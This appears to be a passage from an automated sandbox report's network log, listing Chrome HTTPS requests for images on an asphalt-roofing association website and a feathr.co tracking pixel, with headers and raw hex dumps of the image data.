2024-04-23 14:53:53 UTC	8192	IN	Data Raw: 87 8f 5f 7e cc c8 f0 b5 1f 26 72 3d d9 bb 65 14 e3 6c 78 19 ff 93 a9 f7 a4 36 3e fa 2e 65 4a 22 3f 24 2a b1 3f f1 0f fa ac 93 6b 74 7c d5 78 3d 81 ec 9d b9 2b 66 47 4a c3 84 83 1a 3f bd 90 a0 d7 42 88 e8 95 6c a7 5a 26 09 60 93 29 a6 9b b9 74 e0 8e 10 16 32 3a b7 3b 94 e4 ab f5 0b cb 5e b1 37 89 23 d0 79 d1 fd 0b df 0e 2d c3 46 d4 f7 3b aa b1 b3 d8 0e 57 61 91 ba d3 ce 45 9b 1e cf e9 30 8e be 2a 77 4f 2b d8 52 4f a0 7b 9a 04 7a 2b d4 42 1a 58 c7 4a f5 b4 9b 44 07 cf c3 f9 7c c1 03 91 1f 65 06 67 cc f0 b2 40 5b f7 ef 70 ef e3 3c aa 3c 2a f6 3e 48 61 41 83 05 2f a6 da 1e 33 de d4 42 e5 29 e5 c7 c6 c0 2a 8d ac 92 91 7f f7 2d 55 ea 5f 63 31 9b 93 04 71 80 b9 5b c1 9e 19 06 1d 98 7b ad e1 99 c2 e0 c7 8c a3 5f bf 54 7d ef 22 3e 2e 8c bd cb 7b ff 53 8f a1 cb 12 Data Ascii: _~&r=elx6>.eJ"?$?kt\|x=+fGJ?BlZ&`)t2:;^7#y-F;WaE0wO+RO{z+BXJD\|eg@[p<<>HaA/3B)-U_c1q[{_T}">.{S
2024-04-23 14:53:53 UTC	8192	IN	Data Raw: de 20 2d 4b 74 63 e5 b9 fb d8 0f 36 ce 0c 94 a3 a3 33 3b d4 e3 8b 8c 1c 2b e9 e3 df 02 e8 7a 50 1f 37 d8 90 fa ea 96 1f fa f6 a1 6e 48 1f 92 f6 4d a8 cb 04 4e bc c3 eb 7b 82 fa 67 cd 63 0f 7a 89 e8 2b 37 e1 d1 43 65 08 f8 97 69 97 2e c9 41 5e c4 20 fe d9 0a d5 2a ce 84 36 0b cd 29 6a b8 17 79 b4 58 0a fe 92 cc 7b 96 db a6 11 77 b4 19 f3 4d 11 3c c4 8b 11 b2 33 f8 c0 46 a0 a7 b1 36 a0 49 22 ff 04 3a 0b c8 4c f5 82 0e fa 7b 0f e6 b6 3c 98 ae 69 b8 77 5a d4 42 99 9d 27 22 f3 38 fa 06 78 f1 11 b6 74 b7 12 5c 95 89 5c 95 2d 7d 58 cf e4 46 0a 27 3b 3b 27 4e 6b d0 3d b1 f1 c4 fe c0 fe 0c b7 07 40 df 74 2f 82 e0 86 c2 2b 7a e3 79 7b 65 30 12 f9 9f e1 e3 e1 19 a5 f2 db 00 9d 0f 6d e3 c6 46 dd 71 d3 0f bb 6b 97 f4 c3 f4 78 6e 9c d9 64 2d 4e a6 74 54 89 fd f1 f6 6a Data Ascii: -Ktc63;+zP7nHMN{gcz+7Cei.A^ *6)jyX{wM<3F6I":L{<iwZB'"8xt\\-}XF';;'Nk=@t/+zy{e0mFqkxnd-NtTj
2024-04-23 14:53:53 UTC	8192	IN	Data Raw: 82 01 8d f2 f7 7e a5 bb 42 5e 7e 79 ab 27 76 4a 06 b9 f8 51 6e 37 92 19 9c c1 b4 1c c2 50 21 97 4f 63 ea 14 19 c4 41 a4 13 49 86 a0 8f 53 22 ed 32 fc 46 32 f8 2e 16 7b 27 0a 8e 7c 02 c5 c3 56 de c7 ed 17 84 f0 c4 6b 61 89 af d4 e7 f4 42 bc b9 ed 28 98 bb 47 33 b2 24 07 8d 2e 5a fa 14 40 ef 45 4d d0 27 1c c3 fe 9d a0 37 f2 ca d2 9f f2 fe 0d 6b 92 46 be 9a da 2b e3 a2 a9 e0 fa cc 83 d5 ab b6 d8 e2 a2 cd b6 e8 94 09 9b ed bb 9b 7a 8b 22 a6 10 7f 24 63 d6 05 36 e1 1f 68 63 67 e1 66 1b 1f ee cc 98 a7 2d 0b 43 3b 33 83 7a 5d 7d fa 09 4a 8a 6b 47 ef 20 6e 8e 86 da 3a 7a 21 2c 9f e3 65 70 b7 ee ec 14 ee 42 ad a1 59 38 36 ce 37 9f bf 4f 08 cf af 90 37 e3 60 18 8d da ca ce 71 83 9a d6 78 9e 34 b6 92 06 84 54 ab b2 18 3f a6 b6 da c8 fa 4a df 6c b4 4b 60 82 3e a6 d2 Data Ascii: ~B^~y'vJQn7P!OcAIS"2F2.{'\|VkaB(G3$.Z@EM'7kF+z"$c6hcgf-C;3z]}JkG n:z!,epBY867O7`qx4T?JlK`>
2024-04-23 14:53:53 UTC	8192	IN	Data Raw: c1 60 e7 28 86 06 c9 ae bc ee 71 fd 10 94 63 67 95 5f 36 df 53 a4 e3 ac 5d 41 18 8e c9 ba cc a4 16 cb 55 49 9c 00 5a 07 e8 46 98 8a ab c1 59 2a 3a 36 e2 65 2e c1 75 40 4b 79 42 fa f8 d3 67 6f 9e 69 8d 87 22 ce 9e 92 f7 22 29 44 69 82 9e a5 47 9f d0 ea a9 a3 7a d0 86 24 1e 9c c0 50 e4 39 06 55 14 28 df ef 84 70 54 db cc 93 c2 84 2f ac cd c3 14 ec 52 89 3c e5 1c 00 3a dd fb 94 6c 46 4e 51 79 b5 7b a9 40 07 93 df b7 8b 80 fc c9 93 65 26 6d 68 cc 2c bf c5 c2 32 ac 1c 9f 82 18 ba 43 aa 60 88 f4 4d 2f ab dc 9d 78 7b 88 39 de 89 85 9b 1b d1 82 bb 6e bf 9b 05 ba 36 75 29 d5 e7 47 fe 12 18 3c ba fa 63 ab 06 bd 32 f1 a8 88 86 49 48 28 9c b9 bc ee d1 7c 24 12 7d df f1 23 c9 43 41 47 4b 87 a7 8f e6 7e 69 b7 7f 79 5e 04 e8 bd f6 4e 71 3f f6 eb 51 74 fd 99 92 74 3a 3d Data Ascii: `(qcg_6S]AUIZFY*:6e.u@KyBgoi"")DiGz$P9U(pT/R<:lFNQy{@e&mh,2C`M/x{9n6u)G<c2IH(\|$}#CAGK~iy^Nq?Qtt:=
2024-04-23 14:53:53 UTC	8192	IN	Data Raw: e5 a6 d6 2e 41 3f af 34 4a e7 c5 93 39 a9 d2 73 50 d7 5d d7 86 2e e4 63 e9 26 40 f7 86 68 e9 0d e4 e8 b2 45 e1 0d 76 de cf 1c cd 44 c1 75 15 00 dc 87 50 69 12 8d 07 ee e2 82 f9 13 7d 97 10 99 e4 a6 92 49 80 0e 4b cf f7 db ed ae 57 18 44 79 83 03 c6 ef 78 46 1d 55 e7 d9 92 23 cb 6d a3 e0 6a b8 ae 7d b9 a0 5f 53 19 9c 8c 56 87 4a 36 c5 eb ef 1c 00 6e ed 46 2d 9a 09 9c c7 7e 71 e4 66 17 09 98 e9 11 b3 13 7b b7 08 3d d4 60 23 08 9a ce 93 74 19 ab 8d 41 18 7b 6c 7d 0c 3c 92 54 66 4c 53 9a 6d 8c fd 0e 44 61 08 74 70 87 62 22 0c 29 be d3 dc 6a d4 31 a6 43 ba c6 5c 44 1d f0 c2 d1 69 23 51 64 48 87 78 fa d8 7e 67 3f f6 ec be 69 e8 88 08 b5 66 b3 54 ca 44 1a 88 16 18 99 b9 f1 24 4a ba 82 2f 71 e1 78 2b 06 cc 31 39 83 79 b3 15 eb ab 66 87 08 e0 d7 40 12 3a b5 c6 6d Data Ascii: .A?4J9sP].c&@hEvDuPi}IKWDyxFU#mj}_SVJ6nF-~qf{=`#tA{l}<TfLSmDatpb")j1C\Di#QdHx~g?ifTD$J/qx+19yf@:m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	49843	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:52 UTC	688	OUT	GET /wp-content/uploads/2022/05/V2-Banner-1900x400-1.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
2024-04-23 14:53:53 UTC	519	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:52 GMT Content-Type: image/png Content-Length: 292665 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 20 May 2022 19:38:44 GMT ETag: "1e22194-47739-5df76a3651900" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:53 UTC	7673	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 07 6c 00 00 01 90 08 03 00 00 00 55 a4 60 aa 00 00 00 48 50 4c 54 45 ff ff ff e1 e4 e4 cc ce d1 be c0 c3 b3 b5 b8 a9 ab af a1 a2 a6 99 9a 9e 92 92 96 8b 8b 8f 83 84 88 8b 71 96 7b 7b 7f 71 71 74 65 65 68 54 55 56 28 5c 28 24 59 25 21 56 22 1f 53 1f 3d 3c 3c 1b 50 1c 17 4b 17 1e 1c 1a 63 cd fe dd 00 04 76 ac 49 44 41 54 78 da 94 bc d9 72 eb 48 b0 64 bb 91 31 79 f8 f1 88 7c 81 99 fe ff 4f fb 01 da 55 75 ad ef 79 68 18 05 4a 24 01 6a e4 4a 1f 42 7f 66 7b 2f a5 ae 9d 19 2d 6a ee dd bb 7b 77 95 2d ae c5 dd bd 77 11 9a c0 0e 8e 76 ee de d6 f4 2a 1b 16 5e 52 9c 3c 39 7b 6f cf 7a c4 ec 30 4e fa 99 3b 73 e7 4e 21 ef ee 2c 8e 8f 26 7b 5f ed db c7 9f b9 d3 18 70 9a d3 57 35 bb 0c 7a dc 1e 69 56 c5 69 6e e5 50 c0 Data Ascii: PNGIHDRlU`HPLTEq{{qqteehTUV(\($Y%!V"S=<<PKcvIDATxrHd1y\|OUuyhJ$jJBf{/-j{w-wv*^R<9{oz0N;sN!,&{_pW5ziVinP
2024-04-23 14:53:53 UTC	8192	IN	Data Raw: 52 76 41 d5 ce 06 68 96 81 c2 72 a7 be 39 8a c5 70 bb a7 3f 00 57 cc dc 56 cf a0 35 b3 ac e0 5d 8a 33 95 24 e6 96 d1 bb 4a 42 71 46 89 ea 39 c8 50 b2 66 97 96 dd 38 35 d3 48 ec 6c 79 94 ab 0a e0 28 39 39 71 73 7f 26 ce 31 cf 38 c7 d2 cc ed d8 c9 e3 71 cc cb cc f2 a9 93 99 df 12 df 4f 5a c2 30 19 55 59 69 71 22 19 05 2f 6b 4f fb 63 e8 a7 65 5b 76 4e 3d 16 35 22 02 ce 88 66 d8 9d e9 75 72 24 24 ab 93 1e ea 5e 01 08 0a 7b 6f 05 d1 86 aa 60 65 17 2a 3d ea 9c fe 8a 2b 54 32 c1 08 21 8a 4a 69 7a 80 aa 45 54 5b 21 85 6c b1 0f 5c a8 2a 25 86 1a 5e 78 8b 70 4b 4b ab 53 d8 ca 72 0f 73 a6 94 9e 91 a9 16 59 de 6e df 78 6c 56 17 f3 64 10 99 11 d6 8e 38 85 a6 f6 af d6 bc ff ad 1d bd ef dd f7 de 7f e7 51 7f fe 1f 71 fa 0b ed bf 49 ee 87 e6 fb 77 46 f5 e7 15 01 46 77 45 Data Ascii: RvAhr9p?WV5]3$JBqF9Pf85Hly(99qs&18qOZ0UYiq"/kOce[vN=5"fur$$^{o`e=+T2!JizET[!l\%^xpKKSrsYnxlVd8QqIwFFwE
2024-04-23 14:53:53 UTC	8192	IN	Data Raw: 48 00 93 09 4c 5f 5d 4f 54 83 81 b8 fa 5f 8f ca 26 3f fa 50 a1 c8 6e 0c 0a 99 d1 c8 8e 77 44 45 5c c2 ef ee 54 ce ef 2d 5b 8e fd de c5 bf 98 56 11 15 39 5f 6e 80 c8 c5 38 5c 3d 93 dc d3 2c 59 60 02 59 01 e6 af bb b3 48 8f aa 02 ca 22 d9 fb e2 af ab f6 36 65 76 f9 16 a2 66 f6 01 33 6e db ac a2 62 77 d8 7c 25 3f 6a 61 e6 16 2a 96 ee 73 f7 ad e9 56 45 20 25 7e 45 59 77 61 f8 e1 80 33 2e c8 c9 0c 15 96 61 d1 fb 0e e3 eb 9c 2d ae 8f cb 43 2d a2 50 a9 37 04 fe 3a 68 45 34 c2 d4 c3 bc ca cd e5 0b 51 b8 b0 ab 9a 65 dc e3 50 b8 7b 44 46 a5 eb b7 33 f5 8b e3 b8 d3 70 37 73 d3 6b f8 31 cb 74 15 d1 0c b5 70 09 fe 72 38 5c a3 70 31 16 77 cd 8d ca 08 37 8f ba 6b 57 94 9b 47 dc 14 83 ac be e4 c6 6f 75 fe 59 95 2f 85 fa b7 f8 de 0b 7a 64 46 98 45 21 3c cb ff b0 07 73 19 Data Ascii: HL_]OT_&?PnwDE\T-[V9_n8\=,Y`YH"6evf3nbw\|%?ja*sVE %~EYwa3.a-C-P7:hE4QeP{DF3p7sk1tpr8\p1w7kWGouY/zdFE!<s
2024-04-23 14:53:53 UTC	8192	IN	Data Raw: ec 8a c2 f4 24 62 27 1a 33 6e 5c f7 1e e7 d6 92 3b fd ee 12 5d de 86 ea a6 44 f4 30 2a 8b 33 48 d1 d4 73 e4 31 c9 06 29 26 59 0e ce 2e 4b 13 05 53 15 b0 3b 97 a9 39 2c 14 e1 27 06 fb 36 25 2f 88 ac 7a bb 81 ed fd 59 f4 cd 26 f7 2e 2f 55 0b 55 cd b1 ae e9 ca 69 6e cc fd 4c 0f bb 3b 33 b0 9d 3b ad b9 dd 31 4e 16 66 3a 86 d8 ec 5d b0 e4 e4 a0 99 dc 41 76 9d 66 b5 5a 25 de 97 d9 64 b6 ad d0 7b 38 55 c3 04 86 eb 40 6d 0d 6f 50 eb 38 e4 91 41 63 d0 62 3d a3 c7 8f c7 98 fb 09 ae 3d e9 95 7e 9e 53 b2 d3 3d 76 14 30 a9 8c 85 98 4e 87 fb 91 16 3d 22 71 14 7a a0 42 ba 08 2f 3e 1c 3f af 3d ae 13 69 51 7a 9e d4 64 89 a6 0f 67 9a c7 30 54 77 69 f7 b4 38 a6 c0 b4 58 73 90 d3 9b d6 92 5d 7c 4e 0a 9e a6 1e f7 e9 ce e8 cc 77 ba 99 c3 63 38 a0 ba 61 09 e9 c2 8a 95 6e 93 6b Data Ascii: $b'3n\;]D0*3Hs1)&Y.KS;9,'6%/zY&./UUinL;3;1Nf:]AvfZ%d{8U@moP8Acb==~S=v0N="qzB/>?=iQzdg0Twi8Xs]\|Nwc8ank
2024-04-23 14:53:53 UTC	8192	IN	Data Raw: 73 aa f3 77 f7 bc 5b 3b d3 6f e2 dc ed dd ad 9a ee ed d9 de de fb e0 9c 99 4c 92 59 71 50 e5 5d dd ed 3b 11 4e a9 49 6f b2 87 3d 6d 5a 76 8c 53 41 ef c2 63 31 9e e7 f1 08 54 a3 ac ba cb 23 73 aa 01 a1 76 27 c7 ec e8 e8 70 26 a1 1f af 0a 06 c3 ba a6 d1 93 56 c9 65 91 35 49 ef 02 18 4d 37 56 07 19 f5 1a c7 e9 de 5d d5 43 32 49 85 2f 33 1a d3 de 9d 88 9e de a0 ef bb dd cf 0d 44 c7 4c 79 20 a2 89 aa 93 8e 72 47 8c 38 06 e9 29 1c 6d 05 00 a4 7e 2c 3a 8f 4c b7 23 32 f2 14 0f 24 26 0e a5 cc 10 6e 9f 50 b4 87 29 3d a6 01 70 96 f1 18 31 24 bd 32 9b c7 35 d2 ab c8 2c 87 14 18 59 06 e0 03 c3 c7 11 46 b0 3c 52 20 53 5d 9d 79 b4 ba ab b1 97 33 65 5c f2 15 83 d5 04 2b 32 6e 77 54 25 98 44 70 2b 82 d1 51 8a 77 a6 42 b9 e5 44 cc 8c b4 aa 84 ba b9 24 02 40 45 22 15 fe d6 Data Ascii: sw[;oLYqP];NIo=mZvSAc1T#sv'p&Ve5IM7V]C2I/3DLy rG8)m~,:L#2$&nP)=p1$25,YF<R S]y3e\+2nwT%Dp+QwBD$@E"
2024-04-23 14:53:53 UTC	8192	IN	Data Raw: c5 03 be b7 48 7a 11 0f 2f 7b 73 25 e0 7d 21 49 ef be db 35 ec 8f d6 3b ff 1b 52 e1 6f 5e f8 5f b5 9a 9f 9f f7 15 c1 2e 8f 70 03 85 a2 42 44 66 87 dd 1d 7a 10 08 a9 b6 c7 9d 1d 66 1a 1a 0c 68 1c 0c 66 82 43 6d 57 2f 17 f5 63 62 93 3c 42 1c 45 b6 1e 95 47 ed a4 98 66 1d 55 7f fc dd f7 ae 79 61 3d b8 da 37 54 4f 60 d9 fd 6e f4 4c 4c 07 7b c8 2e 56 79 cf ce cc 76 ba e7 54 bd 53 d3 d5 2e 33 5b c4 4e ed be 59 3d b3 f4 5b 5e ed 65 33 87 bd b1 2c ee bc 57 e8 cd e9 bd 24 a6 97 3b 91 a4 33 66 7f 16 44 72 9a c8 ec 99 77 27 3b 38 33 3d d3 1b cd e9 9d f0 9a c8 ae 9c cc ce c0 32 8b a4 b3 30 dd cc 46 95 47 6b 68 16 93 11 bd b3 3d da be 3d 9c 6e 56 0d 3d aa ad d0 86 51 e9 ea a5 4f ce b0 fb 86 82 b0 c5 39 bb c5 b0 8e 69 c6 7a ce 87 3b 83 4e 47 6f ec 89 ed de e8 c8 61 97 Data Ascii: Hz/{s%}!I5;Ro^_.pBDfzfhfCmW/cb<BEGfUya=7TO`nLL{.VyvTS.3[NY=[^e3,W$;3fDrw';83=20FGkh==nV=QO9iz;NGoa
2024-04-23 14:53:53 UTC	8192	IN	Data Raw: 22 d1 52 45 89 86 77 52 a8 7e da 19 a8 25 8a 96 8b 7a fa 67 dc c6 ed 48 26 a7 7a 82 e7 78 4c 43 15 93 19 32 10 8d ed 66 1c 63 ba 6b d1 54 7c aa 2a 50 93 21 8e f2 a9 f3 88 8b 98 53 3b ca 74 86 e6 d9 1e 29 6e 5e f3 63 31 89 84 01 60 a1 da 2c 18 dd e9 4d 74 66 38 98 19 39 ef 76 1c 9f a6 5b b0 bb 50 99 d0 2a 91 c7 6b 18 7e aa 2a d1 e3 d5 61 77 93 12 f6 88 df 25 89 13 5d f0 a8 0c f8 23 ac 68 8b 88 80 3a ab 58 68 51 99 4a 57 d8 9a d3 cc 7c c2 25 23 2c e3 c2 71 a7 cc f5 36 65 e2 f1 08 c3 26 3d 54 24 e3 c6 2c d5 54 b4 dd a2 e9 36 1e a9 47 d4 8e 54 e9 23 89 47 e3 88 d5 47 0e 8c b2 a3 74 97 90 48 c7 74 54 aa 87 db 39 71 8e 89 9d 23 21 e2 47 e4 9c bb 38 85 9d eb 0d 38 22 61 66 a7 ae e2 dd 4d 3d c4 e2 dc c8 8f 8b 8a a6 88 df 90 e6 ac 8a bb cb 51 b7 23 e2 ee 72 43 2b Data Ascii: "REwR~%zgH&zxLC2fckT\|P!S;t)n^c1`,Mtf89v[Pk~*aw%]#h:XhQJW\|%#,q6e&=T$,T6GT#GGtHtT9q#!G88"afM=Q#rC+
2024-04-23 14:53:53 UTC	8192	IN	Data Raw: 59 27 44 dc e2 9c 28 cb 63 76 3c c4 e2 e3 ff 47 f2 65 e5 11 cf b8 b6 1c b2 22 5d 82 a3 47 b5 3a 50 99 03 13 2d 96 9c 08 3d ae ae fe 59 77 45 bc 52 1c 70 11 86 47 08 f4 a8 8b 9c a3 7a 8e 4a 86 9f 73 4e a8 a9 1e 3d 22 82 d2 73 d4 e2 b1 10 4b f7 6b f4 39 c7 8f 1f fd b2 45 aa e6 7a 8e bb 5b 45 54 cf 38 a5 42 44 cc cd cd ec 9c e7 92 ff 45 8e e7 2d ae f2 f9 e3 dd 6e 22 f5 76 b3 76 ae 4d c0 2e eb e9 f6 c3 4c 74 7f 7a 57 54 65 15 2a a3 c0 cc 0c cf c2 5d e7 be 13 76 7f 46 b9 c9 f9 5c 3a f7 ce 5a cc dc 44 6e b8 a9 38 f4 aa 1e e2 16 c6 db 3d ce fe 06 57 6f 0c 74 d8 ff a6 64 7e 99 10 df e9 d2 3f ae b8 df 02 39 dd c3 24 9b 60 65 b2 48 20 13 4d 54 a1 6e 61 6d 5e 04 0d f1 15 d9 22 81 22 ab c0 d9 ee be d5 95 64 f7 7d 79 37 7f 7b d5 fb 0e 40 f4 cc be 03 54 06 aa 66 e8 4c Data Ascii: Y'D(cv<Ge"]G:P-=YwERpGzJsN="sKk9Ez[ET8BDE-n"vvM.LtzWTe*]vF\:ZDn8=Wotd~?9$`eH MTnam^""d}y7{@TfL
2024-04-23 14:53:53 UTC	8192	IN	Data Raw: 7f 8e 6a 4d 3d db a9 9f 14 40 a2 c4 db d4 22 2d 6d 3c dd d4 58 1e 1a a6 61 1d a6 62 1e 11 6e 99 aa 12 59 65 91 51 fa fe ab 5b fd f9 f9 ef 2a fa ff 51 52 ff ad c2 ff ac 4b ef de ed b9 ee db e1 82 84 79 44 01 95 99 f6 31 1f 23 cc dd 51 ee 9f 64 4f dc dd cc 3c c3 cc 33 aa cc ed a3 33 9b 17 87 fb 37 cf 3a df 35 d1 0e 8e 89 2f d9 ca f9 98 4f bf 17 44 33 5f d9 02 eb 03 46 7c c3 59 ce 07 0b f8 ad 5f c0 bc 6f e8 17 64 b2 c8 70 33 b3 c8 f8 fd e6 82 95 5d 11 1e e9 e6 bf 71 d6 ef 3c 18 ec fa 9c f4 24 b2 d1 9d 98 5f 94 22 49 f8 77 48 45 74 45 74 35 41 0c 0a ec 6e 14 3e ae 71 67 77 81 bb 4c 37 55 af ef e0 a2 ab eb 2b e8 20 1a 83 ca fe 4e 99 3f f4 e4 37 6a fe dc 3e df fa b8 7a ee 45 44 44 7f 0d 6e 64 fd a1 3b 31 4c 77 76 f5 a5 61 86 b8 77 8b db b5 5f 5e 16 bf 3f d9 0f Data Ascii: jM=@"-m<XabnYeQ[*QRKyD1#QdO<337:5/OD3_F\|Y_odp3]q<$_"IwHEtEt5An>qgwL7U+ N?7j>zEDDnd;1Lwvaw_^?
2024-04-23 14:53:53 UTC	8192	IN	Data Raw: 9d 47 ef ff 66 29 fe fd ed 68 a0 d3 04 40 6a a6 48 30 dc 49 76 46 84 7a 84 69 a8 7e ec 81 fb 44 1e 3d 5f 28 a0 a3 87 0f 66 32 fb f3 44 4e 77 2d 8b d3 9d b5 33 d5 cc 04 b9 ec 64 37 f3 73 e0 cc d1 1f 75 f1 30 85 45 aa 9a c5 47 90 80 87 c1 b4 69 2a 12 9f cd 4f ed 77 d2 7e fd 62 fd de 77 03 39 5d c9 1f 63 a9 bb 81 6a 07 f0 ed 4d 6b ba 50 dd 19 e0 67 81 f5 88 ac fe 12 c2 f5 5f 5c a9 32 bb be ca 4b a6 67 f6 fb ce 77 c2 9b b9 39 cc a1 6a ea 6e 6e 81 f4 6f ce 6d df 83 80 28 22 fe 0b 0a d7 af 01 94 bf 01 30 1b e1 4e 98 67 44 66 e7 77 0f fd 26 cd 01 cf 74 03 33 90 f0 28 e4 5d 27 8a 55 59 5c a8 59 b8 45 03 40 38 32 11 4c 8f 4c b8 aa 23 bf 80 d5 7f fc 48 54 15 f0 d1 ac 2a 1d 89 b9 5b 32 91 ff cc 0d f6 6a 6a aa 6e de bb 5d ef dd 99 bd e1 25 09 ce 8f 65 3c b7 bd dd ac Data Ascii: Gf)h@jH0IvFzi~D=_(f2DNw-3d7su0EGiOw~bw9]cjMkPg_\2Kgw9jnnom("0NgDfw&t3(]'UY\YE@82LL#HT[2jjn]%e<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	49844	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:53 UTC	670	OUT	GET /wp-content/uploads/2022/10/ig.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
2024-04-23 14:53:53 UTC	514	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:53 GMT Content-Type: image/png Content-Length: 406 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Mon, 24 Oct 2022 20:01:46 GMT ETag: "1e22204-196-5ebcd42da9e80" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:53 UTC	406	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 03 00 00 00 bb 20 48 5f 00 00 00 21 50 4c 54 45 ee ee ee e7 e7 e7 d9 d9 d9 e2 e2 e3 ea ea ea f0 f0 f0 f7 f7 f7 f7 f7 f7 f8 f8 f8 fc fc fc ff ff ff fd 3a 07 29 00 00 00 0a 74 52 4e 53 00 0d 2b 40 5b 7c a8 c3 d3 e3 b0 b3 3d 51 00 00 01 1a 49 44 41 54 78 da 9d 94 eb b6 84 20 08 85 51 90 8b ef ff c0 67 45 56 8a d6 b8 0e ff 66 fa 22 d9 7b 23 80 17 b1 da b2 94 09 9e 22 ad 1f a5 37 5a ea 8f 2a 9b 5c 23 b1 6e 14 02 80 7d 01 42 24 7e ce 1f 0d f5 f8 a4 9c 2d 3f 4f e8 f3 d2 79 4a 89 0f 4d 98 c5 ba 21 bc 95 40 90 90 31 1d 0f 13 b2 bf 94 01 92 2d 40 c9 8f 0b d9 bf c5 ed 68 23 c8 30 14 f7 2d 7a d0 b9 44 2c c2 94 02 d9 83 e6 23 b6 31 cc 07 b6 25 98 47 3b 8f 89 f3 0a 94 68 27 5e 62 07 90 a2 9d 76 Data Ascii: PNGIHDR(( H_!PLTE:)tRNS+@[\|=QIDATx QgEVf"{#"7Z*\#n}B$~-?OyJM!@1-@h#0-zD,#1%G;h'^bv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	49845	18.160.78.62	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:53 UTC	591	OUT	GET /v1/refresh HTTP/1.1 Host: marco.feathr.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:53 UTC	805	IN	HTTP/1.1 200 OK Content-Type: image/gif Content-Length: 43 Connection: close Date: Tue, 23 Apr 2024 14:53:53 GMT x-amzn-RequestId: 0f050c74-1d10-4d7f-8ea0-c29bbeac76b2 Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type,X-Amz-Date,Authorization,X-Api-Key Set-Cookie: f_id=6627cb818425280008d4a656; Domain=.feathr.co; Path=/; Expires=Wed, 23 Apr 2025 14:53:53 GMT; SameSite=None; Secure; HttpOnly x-amz-apigw-id: Wry8RH6-IAMEYXA= Access-Control-Allow-Methods: * X-Amzn-Trace-Id: Root=1-6627cb81-6ae5f1a61ec4ff327091fca8;Parent=61b5fbac0d188d0c;Sampled=0;lineage=5eb2f403:0 X-Cache: Miss from cloudfront Via: 1.1 4682be42fcf0ad8d4088eb312e665eb6.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ATL59-P2 X-Amz-Cf-Id: izkhSmChWrQGKJY2b_OIcGs3paXTSIQQlMAuVNbqiomiYuojZzLuow==
2024-04-23 14:53:53 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	49846	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
